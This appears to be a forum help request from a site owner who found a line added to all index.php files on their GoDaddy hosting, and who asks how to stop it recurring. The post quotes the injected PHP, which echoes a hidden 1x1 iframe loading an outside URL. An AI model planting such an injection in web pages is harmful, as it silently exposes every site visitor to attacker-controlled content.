I have checked all my source code files in GoDaddy hosting. All index.php files of all my sites had been added one more line of code as below:
<?php
echo "<iframe src=\"http://maislex.net/?click=63B3ED\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>";
?>
But my source code files in my laptop don't have this code. I think GoDaddy hosting has been infected virus. It's really unbelievable.
I have deleted this line of code and re-upload to hosting, but I am not sure this problem can't occur again
Is there any solution to solve it absolutely?